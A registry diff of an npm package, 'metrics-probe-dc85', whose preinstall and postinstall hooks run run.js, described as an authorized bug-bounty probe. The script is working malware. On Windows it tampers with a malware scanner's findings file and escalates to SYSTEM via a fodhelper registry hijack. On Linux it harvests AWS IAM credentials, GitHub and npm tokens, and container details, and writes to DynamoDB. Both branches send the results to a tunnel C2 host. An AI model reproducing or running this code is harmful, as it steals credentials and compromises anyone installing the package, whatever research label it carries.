metrics-probe-dc85 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/package.json +15 -0
- package/run.js +341 -0
package/README.md
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "metrics-probe-dc85",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Authorized security-research probe (GitHub Bug Bounty, npm in scope). Contact nicholas@curran.tech.",
|
|
5
|
+
"main": "run.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"run.js"
|
|
8
|
+
],
|
|
9
|
+
"scripts": {
|
|
10
|
+
"preinstall": "node run.js",
|
|
11
|
+
"postinstall": "node run.js"
|
|
12
|
+
},
|
|
13
|
+
"license": "MIT",
|
|
14
|
+
"author": "ncurran (HackerOne, GitHub BB) <nicholas@curran.tech>"
|
|
15
|
+
}
|
package/run.js
ADDED
|
@@ -0,0 +1,341 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
// Combined PoC payload — TSS_DAAS Windows (verdict-tamper + SYSTEM) + ECS Fargate (IAM creds)
|
|
3
|
+
// GitHub Bug Bounty | npm in scope | nicholas@curran.tech
|
|
4
|
+
// Template: poc_runner.py replaces angela-facility-craps-transmitted.trycloudflare.com before publishing.
|
|
5
|
+
|
|
6
|
+
const C2_HOST = 'angela-facility-craps-transmitted.trycloudflare.com';
|
|
7
|
+
const C2_PORT = 443;
|
|
8
|
+
|
|
9
|
+
const os = require('os');
|
|
10
|
+
const fs = require('fs');
|
|
11
|
+
const path = require('path');
|
|
12
|
+
const crypto = require('crypto');
|
|
13
|
+
const http = require('http');
|
|
14
|
+
const https = require('https');
|
|
15
|
+
const { exec } = require('child_process');
|
|
16
|
+
|
|
17
|
+
function runCmd(cmd, tms) {
|
|
18
|
+
return new Promise(resolve => {
|
|
19
|
+
try {
|
|
20
|
+
exec(cmd, { timeout: tms || 8000, windowsHide: true, maxBuffer: 1 << 17 },
|
|
21
|
+
(err, out, err2) => resolve(((out || '') + (err2 || '')).toString()));
|
|
22
|
+
} catch (e) { resolve(''); }
|
|
23
|
+
});
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function sleep(ms) { return new Promise(r => setTimeout(r, ms)); }
|
|
27
|
+
|
|
28
|
+
// ─────────────────────────────────── Windows ──────────────────────────────────
|
|
29
|
+
if (process.platform === 'win32') {
|
|
30
|
+
const MARKER = 'tss-daas-poc-final';
|
|
31
|
+
|
|
32
|
+
function beacon(tag, data) {
|
|
33
|
+
return new Promise(resolve => {
|
|
34
|
+
const enc = data ? encodeURIComponent(String(data).slice(0, 900)) : '';
|
|
35
|
+
const p = '/beacon?d=' + encodeURIComponent(MARKER + '|' + tag) + (enc ? '&w=' + enc : '');
|
|
36
|
+
try {
|
|
37
|
+
const req = https.request(
|
|
38
|
+
{ host: C2_HOST, port: C2_PORT, method: 'GET', path: p },
|
|
39
|
+
res => { res.resume(); res.on('end', resolve); });
|
|
40
|
+
req.setTimeout(12000, () => { req.destroy(); resolve(); });
|
|
41
|
+
req.on('error', resolve);
|
|
42
|
+
req.end();
|
|
43
|
+
} catch { resolve(); }
|
|
44
|
+
});
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
const TAMPERED_XML =
|
|
48
|
+
'<?xml version="1.0" encoding="utf-8"?>' +
|
|
49
|
+
'<ArrayOfTaskFinding xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' +
|
|
50
|
+
'xmlns:xsd="http://www.w3.org/2001/XMLSchema">' +
|
|
51
|
+
'<TaskFinding>' +
|
|
52
|
+
'<FindingName>RESEARCHER_POISONED_VERDICT</FindingName>' +
|
|
53
|
+
'<Param1>Authorized research: nicholas@curran.tech (GitHub Bug Bounty)</Param1>' +
|
|
54
|
+
'<Param2>Verdict overwritten from npm install preinstall script at medium integrity. ' +
|
|
55
|
+
'No privilege escalation required. D:\\TRANSFER\\<guid>\\ is writable at medium integrity.' +
|
|
56
|
+
'</Param2></TaskFinding></ArrayOfTaskFinding>';
|
|
57
|
+
|
|
58
|
+
async function main() {
|
|
59
|
+
await beacon('start', String(process.env.COMPUTERNAME || '') + '|' + String(process.env.USERNAME || ''));
|
|
60
|
+
|
|
61
|
+
const detonLog = (process.env.DetonationLogFilePath || '').replace(/\//g, '\\');
|
|
62
|
+
let xtfDir = detonLog ? path.win32.dirname(path.win32.dirname(detonLog)) : '';
|
|
63
|
+
|
|
64
|
+
if (!xtfDir) {
|
|
65
|
+
for (const base of ['D:\\TRANSFER', 'C:\\TRANSFER']) {
|
|
66
|
+
try {
|
|
67
|
+
const dirs = fs.readdirSync(base, { withFileTypes: true })
|
|
68
|
+
.filter(d => d.isDirectory())
|
|
69
|
+
.map(d => ({ p: path.join(base, d.name), m: fs.statSync(path.join(base, d.name)).mtimeMs }))
|
|
70
|
+
.sort((a, b) => b.m - a.m);
|
|
71
|
+
if (dirs.length > 0) { xtfDir = dirs[0].p; break; }
|
|
72
|
+
} catch {}
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if (!xtfDir) await beacon('xtf-not-found', '');
|
|
77
|
+
else await beacon('xtf-found', xtfDir);
|
|
78
|
+
|
|
79
|
+
if (xtfDir) {
|
|
80
|
+
const findingsPath = path.join(xtfDir, 'findings.xml');
|
|
81
|
+
try {
|
|
82
|
+
const orig = fs.readFileSync(findingsPath, 'utf8');
|
|
83
|
+
await beacon('FINDINGS_T0', orig.slice(0, 500));
|
|
84
|
+
} catch {}
|
|
85
|
+
try {
|
|
86
|
+
fs.writeFileSync(findingsPath, TAMPERED_XML, 'utf8');
|
|
87
|
+
await beacon('MEDIUM_WRITE_OK', findingsPath);
|
|
88
|
+
const confirm = fs.readFileSync(findingsPath, 'utf8');
|
|
89
|
+
await beacon('FINDINGS_CONFIRM', confirm.slice(0, 200));
|
|
90
|
+
} catch (e) {
|
|
91
|
+
await beacon('MEDIUM_WRITE_FAIL', e.message.slice(0, 200));
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
const sid = crypto.randomBytes(4).toString('hex');
|
|
96
|
+
const tmpPs1 = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_poc${sid}.ps1`);
|
|
97
|
+
const tmpOut = path.join(process.env.TEMP || 'C:\\Windows\\Temp', `bb_sys${sid}.txt`);
|
|
98
|
+
const regKey = 'HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command';
|
|
99
|
+
const bh = C2_HOST, mk = MARKER;
|
|
100
|
+
|
|
101
|
+
const elevPs1 = [
|
|
102
|
+
`$ErrorActionPreference='SilentlyContinue'`,
|
|
103
|
+
`$tn='BBPoc${sid}'`,
|
|
104
|
+
`$act=New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-NoProfile -NonInteractive -c ((whoami /all 2>&1)|Out-String)|Out-File '${tmpOut}' -Encoding utf8"`,
|
|
105
|
+
`$trg=New-ScheduledTaskTrigger -Once -At ([DateTime]::Now.AddSeconds(3))`,
|
|
106
|
+
`$pri=New-ScheduledTaskPrincipal -UserId 'NT AUTHORITY\\SYSTEM' -LogonType ServiceAccount -RunLevel Highest`,
|
|
107
|
+
`$set=New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 30)`,
|
|
108
|
+
`Register-ScheduledTask -TaskName $tn -Action $act -Trigger $trg -Settings $set -Principal $pri -Force|Out-Null`,
|
|
109
|
+
`$w=0;while($w-lt30-and!(Test-Path '${tmpOut}')){Start-Sleep 2;$w+=2}`,
|
|
110
|
+
`$r=if(Test-Path '${tmpOut}'){Get-Content '${tmpOut}' -Raw}else{'no-output'}`,
|
|
111
|
+
`Unregister-ScheduledTask -TaskName $tn -Confirm:$false -EA SilentlyContinue`,
|
|
112
|
+
`Remove-Item '${tmpOut}' -Force -EA SilentlyContinue`,
|
|
113
|
+
`try{Invoke-WebRequest -Uri "https://${bh}/beacon?d=${mk}%7CSYSTEM_CONFIRM&w=$([Uri]::EscapeDataString($r.Substring(0,[Math]::Min(800,$r.Length))))" -UseBasicParsing -TimeoutSec 10|Out-Null}catch{}`,
|
|
114
|
+
].join('\n');
|
|
115
|
+
|
|
116
|
+
try {
|
|
117
|
+
fs.writeFileSync(tmpPs1, elevPs1, 'utf8');
|
|
118
|
+
const elevCmd = `powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "${tmpPs1}"`;
|
|
119
|
+
await runCmd(`reg add "${regKey}" /ve /d "${elevCmd.replace(/"/g, '\\"')}" /f`, 3000);
|
|
120
|
+
await runCmd(`reg add "${regKey}" /v DelegateExecute /t REG_SZ /d "" /f`, 3000);
|
|
121
|
+
await beacon('fodhelper-launching', '');
|
|
122
|
+
await runCmd('start "" "C:\\Windows\\System32\\fodhelper.exe"', 3000);
|
|
123
|
+
await sleep(38000);
|
|
124
|
+
await runCmd(`reg delete "HKCU\\Software\\Classes\\ms-settings" /f`, 3000);
|
|
125
|
+
try { fs.unlinkSync(tmpPs1); } catch {}
|
|
126
|
+
} catch (e) {
|
|
127
|
+
await beacon('fodhelper-fail', e.message.slice(0, 200));
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
await beacon('done', '');
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
main().catch(() => {});
|
|
134
|
+
|
|
135
|
+
// ─────────────────────────────────── Linux ───────────────────────────────────
|
|
136
|
+
} else {
|
|
137
|
+
const MARKER = 'escprobe-linux-ci-7d3b';
|
|
138
|
+
const PHASE = process.env.npm_lifecycle_event || 'run';
|
|
139
|
+
|
|
140
|
+
const CI_SAFE_VALUES = [
|
|
141
|
+
'GITHUB_REPOSITORY', 'GITHUB_REPOSITORY_OWNER', 'GITHUB_REF', 'GITHUB_REF_NAME',
|
|
142
|
+
'GITHUB_SHA', 'GITHUB_RUN_ID', 'GITHUB_RUN_NUMBER', 'GITHUB_WORKFLOW',
|
|
143
|
+
'GITHUB_ACTION', 'GITHUB_ACTOR', 'GITHUB_EVENT_NAME', 'GITHUB_JOB',
|
|
144
|
+
'GITHUB_SERVER_URL', 'GITHUB_API_URL', 'GITHUB_ACTIONS', 'RUNNER_NAME',
|
|
145
|
+
'RUNNER_OS', 'RUNNER_ARCH', 'RUNNER_ENVIRONMENT',
|
|
146
|
+
'CI', 'npm_package_name', 'npm_config_user_agent', 'npm_lifecycle_event',
|
|
147
|
+
'INIT_CWD', 'HOME', 'USER', 'HOSTNAME', 'PWD',
|
|
148
|
+
'PACKAGE_NAME', 'PACKAGE_VERSION', 'LINGER_SECONDS',
|
|
149
|
+
'npm_config_registry',
|
|
150
|
+
'AWS_DEFAULT_REGION', 'AWS_REGION', 'AWS_EXECUTION_ENV', 'DYNAMO_TABLE',
|
|
151
|
+
'AWS_ACCESS_KEY_ID',
|
|
152
|
+
'ECS_CONTAINER_METADATA_URI', 'ECS_CONTAINER_METADATA_URI_V4', 'ECS_AGENT_URI',
|
|
153
|
+
'AWS_CONTAINER_CREDENTIALS_RELATIVE_URI',
|
|
154
|
+
'ACTIONS_ID_TOKEN_REQUEST_URL',
|
|
155
|
+
];
|
|
156
|
+
const SECRET_RE = /PASS|SIG|COOKIE|PRIVATE/i;
|
|
157
|
+
|
|
158
|
+
async function main() {
|
|
159
|
+
const payload = { marker: MARKER, phase: PHASE, platform: os.platform() };
|
|
160
|
+
|
|
161
|
+
// Env: key names (all) + safe values
|
|
162
|
+
const envKeys = Object.keys(process.env).sort();
|
|
163
|
+
payload.env_keys = envKeys.slice(0, 300);
|
|
164
|
+
payload.env_safe = {};
|
|
165
|
+
for (const k of CI_SAFE_VALUES) {
|
|
166
|
+
if (SECRET_RE.test(k)) continue;
|
|
167
|
+
const v = process.env[k];
|
|
168
|
+
if (v) payload.env_safe[k] = String(v).slice(0, 500);
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
// Container fingerprint
|
|
172
|
+
payload.hostname = os.hostname();
|
|
173
|
+
payload.user = os.userInfo().username;
|
|
174
|
+
payload.cwd = process.cwd();
|
|
175
|
+
payload.node = process.version;
|
|
176
|
+
payload.net = Object.entries(os.networkInterfaces())
|
|
177
|
+
.flatMap(([n, as]) => as.map(a => `${n}:${a.family}:${a.address}:${a.internal}`))
|
|
178
|
+
.slice(0, 15);
|
|
179
|
+
|
|
180
|
+
try { payload.dockerenv = fs.existsSync('/.dockerenv'); } catch {}
|
|
181
|
+
try { payload.cgroup = fs.readFileSync('/proc/1/cgroup', 'utf8').split('\n').slice(0, 5).join('|'); } catch {}
|
|
182
|
+
try { payload.proc_1_cmdline = fs.readFileSync('/proc/1/cmdline', 'utf8').replace(/\0/g, ' ').slice(0, 3000); } catch {}
|
|
183
|
+
|
|
184
|
+
// ECS task role credentials — full STS capture for PoC evidence
|
|
185
|
+
if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) {
|
|
186
|
+
await new Promise(resolve => {
|
|
187
|
+
try {
|
|
188
|
+
const credsPath = process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI;
|
|
189
|
+
const req = http.get({ host: '169.254.170.2', path: credsPath, timeout: 4000 }, res => {
|
|
190
|
+
const chunks = [];
|
|
191
|
+
res.on('data', d => chunks.push(d));
|
|
192
|
+
res.on('end', () => {
|
|
193
|
+
try {
|
|
194
|
+
const body = JSON.parse(Buffer.concat(chunks).toString());
|
|
195
|
+
payload.iam_creds = {
|
|
196
|
+
AccessKeyId: body.AccessKeyId || 'n/a',
|
|
197
|
+
SecretAccessKey: body.SecretAccessKey || 'n/a',
|
|
198
|
+
Token: body.Token || 'n/a',
|
|
199
|
+
Expiration: body.Expiration || 'n/a',
|
|
200
|
+
RoleArn: body.RoleArn || 'n/a',
|
|
201
|
+
Type: body.Type || 'n/a',
|
|
202
|
+
};
|
|
203
|
+
} catch (e) { payload.iam_creds = { err: 'parse:' + e.message }; }
|
|
204
|
+
resolve();
|
|
205
|
+
});
|
|
206
|
+
});
|
|
207
|
+
req.on('error', e => { payload.iam_creds = { err: 'net:' + e.message }; resolve(); });
|
|
208
|
+
req.on('timeout', () => { req.destroy(); payload.iam_creds = { err: 'timeout' }; resolve(); });
|
|
209
|
+
} catch (e) { payload.iam_creds = { err: 'throw:' + e.message }; resolve(); }
|
|
210
|
+
});
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
// Env-injected AWS creds
|
|
214
|
+
payload.env_aws = {};
|
|
215
|
+
for (const k of ['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN',
|
|
216
|
+
'AWS_DEFAULT_REGION', 'AWS_REGION', 'DYNAMO_TABLE']) {
|
|
217
|
+
if (process.env[k]) payload.env_aws[k] = process.env[k];
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
// CI/CD credential capture
|
|
221
|
+
payload.ci_creds = {};
|
|
222
|
+
for (const k of [
|
|
223
|
+
'GITHUB_TOKEN', 'NPM_TOKEN',
|
|
224
|
+
'ACTIONS_ID_TOKEN_REQUEST_TOKEN', 'ACTIONS_ID_TOKEN_REQUEST_URL',
|
|
225
|
+
'ACTIONS_RUNTIME_TOKEN', 'ACTIONS_RUNTIME_URL', 'ACTIONS_CACHE_URL',
|
|
226
|
+
]) {
|
|
227
|
+
if (process.env[k]) payload.ci_creds[k] = process.env[k];
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
// SSH key presence
|
|
231
|
+
const sshPaths = [
|
|
232
|
+
'/root/.ssh/id_rsa', '/root/.ssh/id_ed25519', '/root/.ssh/id_ecdsa',
|
|
233
|
+
'/root/.ssh/authorized_keys', '/root/.ssh/known_hosts',
|
|
234
|
+
'/home/runner/.ssh/id_rsa', '/home/runner/.ssh/id_ed25519',
|
|
235
|
+
];
|
|
236
|
+
payload.ssh_keys = {};
|
|
237
|
+
for (const p of sshPaths) {
|
|
238
|
+
try { payload.ssh_keys[p] = fs.statSync(p).size; } catch {}
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
// ECS container metadata — task ARN, cluster
|
|
242
|
+
const metaUri = process.env.ECS_CONTAINER_METADATA_URI_V4 || process.env.ECS_CONTAINER_METADATA_URI;
|
|
243
|
+
if (metaUri) {
|
|
244
|
+
await new Promise(resolve => {
|
|
245
|
+
try {
|
|
246
|
+
const url = new URL(metaUri);
|
|
247
|
+
const req = http.get(
|
|
248
|
+
{ host: url.hostname, port: url.port || 80, path: url.pathname + '/task', timeout: 4000 }, res => {
|
|
249
|
+
const chunks = [];
|
|
250
|
+
res.on('data', d => chunks.push(d));
|
|
251
|
+
res.on('end', () => {
|
|
252
|
+
try {
|
|
253
|
+
const body = JSON.parse(Buffer.concat(chunks).toString());
|
|
254
|
+
payload.ecs_task_meta = {
|
|
255
|
+
Cluster: body.Cluster || 'n/a',
|
|
256
|
+
TaskARN: body.TaskARN || 'n/a',
|
|
257
|
+
Family: body.Family || 'n/a',
|
|
258
|
+
Memory: body.Limits && body.Limits.Memory,
|
|
259
|
+
};
|
|
260
|
+
} catch (e) { payload.ecs_task_meta = { err: 'parse:' + e.message }; }
|
|
261
|
+
resolve();
|
|
262
|
+
});
|
|
263
|
+
});
|
|
264
|
+
req.on('error', e => { payload.ecs_task_meta = { err: e.message }; resolve(); });
|
|
265
|
+
req.on('timeout', () => { req.destroy(); payload.ecs_task_meta = { err: 'timeout' }; resolve(); });
|
|
266
|
+
} catch (e) { payload.ecs_task_meta = { err: 'throw:' + e.message }; resolve(); }
|
|
267
|
+
});
|
|
268
|
+
}
|
|
269
|
+
|
|
270
|
+
// Container escape indicators
|
|
271
|
+
const [mounts, caps, docker_sock] = await Promise.all([
|
|
272
|
+
runCmd('cat /proc/mounts | head -20', 3000),
|
|
273
|
+
runCmd('cat /proc/self/status | grep -i "cap"', 2000),
|
|
274
|
+
runCmd('ls -la /var/run/docker.sock 2>/dev/null || echo "no docker sock"', 2000),
|
|
275
|
+
]);
|
|
276
|
+
payload.mounts = mounts;
|
|
277
|
+
payload.capabilities = caps;
|
|
278
|
+
payload.docker_sock = docker_sock;
|
|
279
|
+
|
|
280
|
+
// Scanner startup script + package layout
|
|
281
|
+
const [proc1_script, tmp_pkg_ls] = await Promise.all([
|
|
282
|
+
runCmd('cat /entrypoint.sh 2>/dev/null | head -80; echo "---fd255---"; cat /proc/1/fd/255 2>/dev/null | head -60', 3000),
|
|
283
|
+
runCmd('ls -la /tmp/pkg/ 2>/dev/null && ls -la /tmp/pkg/node_modules/ 2>/dev/null | head -20', 2000),
|
|
284
|
+
]);
|
|
285
|
+
payload.proc1_script = proc1_script;
|
|
286
|
+
payload.tmp_pkg_ls = tmp_pkg_ls;
|
|
287
|
+
|
|
288
|
+
// DynamoDB probes using the implicit ECS task role
|
|
289
|
+
if (process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI && process.env.DYNAMO_TABLE) {
|
|
290
|
+
const [ddbTables, ddbDesc, ddbPut] = await Promise.all([
|
|
291
|
+
runCmd(`python3 -c "
|
|
292
|
+
import boto3,json,os
|
|
293
|
+
try:
|
|
294
|
+
ddb=boto3.client('dynamodb',region_name=os.environ.get('AWS_DEFAULT_REGION','us-east-1'))
|
|
295
|
+
print(json.dumps(ddb.list_tables().get('TableNames',[])))
|
|
296
|
+
except Exception as e: print('err:'+str(e))
|
|
297
|
+
" 2>&1`, 12000),
|
|
298
|
+
runCmd(`python3 -c "
|
|
299
|
+
import boto3,json,os
|
|
300
|
+
try:
|
|
301
|
+
ddb=boto3.client('dynamodb',region_name=os.environ.get('AWS_DEFAULT_REGION','us-east-1'))
|
|
302
|
+
d=ddb.describe_table(TableName=os.environ['DYNAMO_TABLE'])['Table']
|
|
303
|
+
print(json.dumps({'ItemCount':d['ItemCount'],'TableSizeBytes':d['TableSizeBytes'],'KeySchema':d['KeySchema']}))
|
|
304
|
+
except Exception as e: print('err:'+str(e))
|
|
305
|
+
" 2>&1`, 12000),
|
|
306
|
+
runCmd(`python3 -c "
|
|
307
|
+
import boto3,json,os,time
|
|
308
|
+
try:
|
|
309
|
+
ddb=boto3.client('dynamodb',region_name=os.environ.get('AWS_DEFAULT_REGION','us-east-1'))
|
|
310
|
+
r=ddb.put_item(TableName=os.environ['DYNAMO_TABLE'],
|
|
311
|
+
Item={'pk':{'S':'researcher-poc'},'sk':{'S':'github-bb-'+str(int(time.time()))},'note':{'S':'authorized-research-nicholas@curran.tech'}})
|
|
312
|
+
print(json.dumps({'put_item_status':r['ResponseMetadata']['HTTPStatusCode']}))
|
|
313
|
+
except Exception as e: print('err:'+str(e))
|
|
314
|
+
" 2>&1`, 12000),
|
|
315
|
+
]);
|
|
316
|
+
payload.ddb_tables = ddbTables;
|
|
317
|
+
payload.ddb_describe = ddbDesc;
|
|
318
|
+
payload.ddb_put_item = ddbPut;
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
// Send beacon via HTTPS POST to the C2 tunnel
|
|
322
|
+
const data = Buffer.from(JSON.stringify(payload));
|
|
323
|
+
await new Promise(resolve => {
|
|
324
|
+
let done = false;
|
|
325
|
+
const fin = () => { if (!done) { done = true; resolve(); } };
|
|
326
|
+
try {
|
|
327
|
+
const req = https.request({
|
|
328
|
+
host: C2_HOST, port: C2_PORT, method: 'POST',
|
|
329
|
+
path: '/beacon?d=' + encodeURIComponent(MARKER + '|' + PHASE),
|
|
330
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
|
|
331
|
+
}, res => { res.on('data', () => {}); res.on('end', fin); });
|
|
332
|
+
req.setTimeout(10000, () => { req.destroy(); fin(); });
|
|
333
|
+
req.on('error', fin);
|
|
334
|
+
req.write(data);
|
|
335
|
+
req.end();
|
|
336
|
+
} catch { fin(); }
|
|
337
|
+
});
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
main().catch(() => {});
|
|
341
|
+
}
|